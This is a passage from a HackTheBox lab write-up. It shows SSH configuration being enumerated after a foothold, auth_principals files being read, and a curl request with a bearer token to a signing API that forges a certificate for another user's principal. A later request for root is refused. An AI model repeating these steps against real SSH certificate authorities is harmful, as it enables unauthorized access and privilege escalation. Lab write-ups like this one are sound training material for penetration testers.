auth_principals
Upon gaining the initial foothold, I decided to look further into the SSH configuration as it seems to accept CA-signed keys
support@ssg:/etc/ssh$ ll
total 604
drwxr-xr-x 5 root root 4096 Jul 24 12:24 ./
drwxr-xr-x 100 root root 4096 Jul 30 08:45 ../
drwxr-xr-x 2 root root 4096 Feb 8 12:16 auth_principals/
-rw------- 1 root root 399 Feb 8 19:40 ca-analytics
-rw-r--r-- 1 root root 94 Feb 8 19:40 ca-analytics.pub
-rw------- 1 root root 432 Feb 8 19:42 ca-it
-rw-r--r-- 1 root root 116 Feb 8 19:43 ca-it.pub
-rw------- 1 root root 2655 Feb 8 19:03 ca-security
-rw-r--r-- 1 root root 569 Feb 8 19:03 ca-security.pub
-rw-r--r-- 1 root root 505426 Jul 19 2023 moduli
-rw-r--r-- 1 root root 1650 Jul 19 2023 ssh_config
drwxr-xr-x 2 root root 4096 Feb 7 21:52 ssh_config.d/
-rw-r--r-- 1 root root 3240 Feb 7 21:48 sshd_config
drwxr-xr-x 2 root root 4096 Feb 8 12:24 sshd_config.d/
-rw-r--r-- 1 root root 3239 Jul 24 12:23 sshd_config.ucf-dist
-rw------- 1 root root 1369 Feb 7 19:37 ssh_host_dsa_key
-rw-r--r-- 1 root root 959 Feb 8 19:44 ssh_host_dsa_key-cert.pub
-rw-r--r-- 1 root root 598 Feb 7 19:37 ssh_host_dsa_key.pub
-rw------- 1 root root 505 Feb 7 19:37 ssh_host_ecdsa_key
-rw-r--r-- 1 root root 531 Feb 8 19:44 ssh_host_ecdsa_key-cert.pub
-rw-r--r-- 1 root root 170 Feb 7 19:37 ssh_host_ecdsa_key.pub
-rw------- 1 root root 399 Feb 7 19:37 ssh_host_ed25519_key
-rw-r--r-- 1 root root 451 Feb 8 19:44 ssh_host_ed25519_key-cert.pub
-rw-r--r-- 1 root root 90 Feb 7 19:37 ssh_host_ed25519_key.pub
-rw------- 1 root root 2590 Feb 7 19:37 ssh_host_rsa_key
-rw-r--r-- 1 root root 923 Feb 8 19:44 ssh_host_rsa_key-cert.pub
-rw-r--r-- 1 root root 562 Feb 7 19:37 ssh_host_rsa_key.pub
-rw-r--r-- 1 root root 342 Dec 7 2020 ssh_import_id
There is the auth_principals
directory. It should contain data defining the principals that was used during the key signing with the bash script
sshd config
support@ssg:/etc/ssh$ cat sshd_config | grep -v '^#' && cat sshd_config.d/sshcerts.conf
Include /etc/ssh/sshd_config.d/*.conf
Port 2222
PermitRootLogin yes
KbdInteractiveAuthentication no
UsePAM yes
X11Forwarding yes
PrintMotd no
AcceptEnv LANG LC_*
Subsystem sftp /usr/lib/openssh/sftp-server
HostKey /etc/ssh/ssh_host_dsa_key
HostKey /etc/ssh/ssh_host_ecdsa_key
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_ed25519_key
HostCertificate /etc/ssh/ssh_host_dsa_key-cert.pub
HostCertificate /etc/ssh/ssh_host_ecdsa_key-cert.pub
HostCertificate /etc/ssh/ssh_host_rsa_key-cert.pub
HostCertificate /etc/ssh/ssh_host_ed25519_key-cert.pub
TrustedUserCAKeys /etc/ssh/ca-it.pub
AuthorizedPrincipalsFile /etc/ssh/auth_principals/%u
PasswordAuthentication no
sshd configuration shows that it’s configured to accept CA keys and AuthorizedPrincipalsFile
set to /etc/ssh/auth_principals/%u
principals
support@ssg:/etc/ssh$ ll auth_principals/
total 20
drwxr-xr-x 2 root root 4096 Feb 8 12:16 ./
drwxr-xr-x 5 root root 4096 Jul 24 12:24 ../
-rw-r--r-- 1 root root 10 Feb 8 12:16 root
-rw-r--r-- 1 root root 18 Feb 8 12:16 support
-rw-r--r-- 1 root root 13 Feb 8 12:11 zzinter
support@ssg:/etc/ssh$ cat auth_principals/root
root_user
support@ssg:/etc/ssh$ cat auth_principals/support
support
root_user
support@ssg:/etc/ssh$ cat auth_principals/zzinter
zzinter_temp
The auth_principals
directory contains 3 users with their respective principals
This would mean that I can use these information to sign the key for both zzinter
and root
accounts
Signing
┌──(kali㉿kali)-[~/…/htb/labs/resource/decommission_old_ca]
└─$ ./sign_key_api.sh ca-itrc.pub zzinter zzinter_temp
Error: 'zzinter_temp' is not a supported principal.
Choose from:
webserver - external web servers - webadmin user
analytics - analytics team databases - analytics user
support - IT support server - support user
security - SOC servers - support user
Usage: ./sign_key_api.sh <public_key_file> <username> <principal>
Doing so using the sign_key_api.sh
script results in failure as it only contains pre-defined 4 principals.
I would need to request it manually.
Manual Signing
┌──(kali㉿kali)-[~/…/htb/labs/resource/decommission_old_ca]
└─$ export public_key=$(cat ca-itrc.pub)
┌──(kali㉿kali)-[~/…/htb/labs/resource/decommission_old_ca]
└─$ echo $public_key
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDoBD1UoFfL41g/FVX373rdm5WPz+SZ0bWt5PYP+dhok4vb3UpJPIGOeAsXmAkzEVYBHIiE+aGbrcXvDaSbZc6cI2aZfFraEPt080KVKHALAPgaOn/zFdld8P9yaENKBKltWLZ9I6rwg98IGEToB7JNZF9hzasjjD0IDKv8JQ3NwimDcZTc6Le0hJw52ANcLszteliFSyoTty9N/oUgTUjkFsgsroEh+Onz4buVD2bxoZ+9mODcdYTQ4ChwanfzFSnTrTtAQrJtyH/bDRTa2BpmdmYdQu+4HcbDl5NbiEwu1FNskz/YNDPkq3bEYEOvgMiu/0ZMy0wercx6Tn0G2cppS70/rG5GMcJi0WTcUic3k+XJ191WEG1EtXJNbZdtJc7Ky0EKhat0dgck8zpq62kejtkBQd86p6FvR8+xH3/JMxHvMNVYVODJt/MIik99sWb5Q7NCVcIXQ0ejVTzTI9QT27km/FUgl3cs5CZ4GIN7polPenQXEmdmbBOWD2hrlLs= ITRC Certifcate CA
I will assign the content of the CA’s public key to the $public_key
variable
Signing zzinter
with zzinter_temp
┌──(kali㉿kali)-[~/…/htb/labs/resource/decommission_old_ca]
└─$ curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "zzinter", "principals": "zzinter_temp"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE" > zzinter-zzinter_temp.pub
┌──(kali㉿kali)-[~/…/htb/labs/resource/decommission_old_ca]
└─$ cat zzinter-zzinter_temp.pub
ssh-rsa-cert-v01@openssh.com AAAAHHNzaC1yc2EtY2VydC12MDFAb3BlbnNzaC5jb20AAAAgt9lA0cgLYB+t/E5zOy+6VGg2xUUQkxS2MJ1AdwwIAKgAAAADAQABAAABgQDoBD1UoFfL41g/FVX373rdm5WPz+SZ0bWt5PYP+dhok4vb3UpJPIGOeAsXmAkzEVYBHIiE+aGbrcXvDaSbZc6cI2aZfFraEPt080KVKHALAPgaOn/zFdld8P9yaENKBKltWLZ9I6rwg98IGEToB7JNZF9hzasjjD0IDKv8JQ3NwimDcZTc6Le0hJw52ANcLszteliFSyoTty9N/oUgTUjkFsgsroEh+Onz4buVD2bxoZ+9mODcdYTQ4ChwanfzFSnTrTtAQrJtyH/bDRTa2BpmdmYdQu+4HcbDl5NbiEwu1FNskz/YNDPkq3bEYEOvgMiu/0ZMy0wercx6Tn0G2cppS70/rG5GMcJi0WTcUic3k+XJ191WEG1EtXJNbZdtJc7Ky0EKhat0dgck8zpq62kejtkBQd86p6FvR8+xH3/JMxHvMNVYVODJt/MIik99sWb5Q7NCVcIXQ0ejVTzTI9QT27km/FUgl3cs5CZ4GIN7polPenQXEmdmbBOWD2hrlLsAAAAAAAAAQAAAAAEAAAAHenppbnRlcgAAABAAAAAMenppbnRlcl90ZW1wAAAAAGan6T3//////////wAAAAAAAACCAAAAFXBlcm1pdC1YMTEtZm9yd2FyZGluZwAAAAAAAAAXcGVybWl0LWFnZW50LWZvcndhcmRpbmcAAAAAAAAAFnBlcm1pdC1wb3J0LWZvcndhcmRpbmcAAAAAAAAACnBlcm1pdC1wdHkAAAAAAAAADnBlcm1pdC11c2VyLXJjAAAAAAAAAAAAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIIHg8Cudy1ShyYfqzC3ANlgAcW7Q4MoZuezAE8mNFSmxAAAAUwAAAAtzc2gtZWQyNTUxOQAAAEBhvfLodL5393UlxYdin+2i2o7+ARE1TtWi2xxt36PhO4d6xF5DWVGdnRjCjEhfHjeErtLZmvWCXcCDgrKxgaAM ITRC Certifcate CA
Manually signing it via curl I will now use this newly signed public key with the CA private key to authenticate to the target system
Signing root
with root_user
┌──(kali㉿kali)-[~/…/htb/labs/resource/decommission_old_ca]
└─$ curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "root", "principals": "root_user"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
{"detail":"Root access must be granted manually. See the IT admin staff."}
Attempting to sign for the root
account failed
It says that it must be granted manually.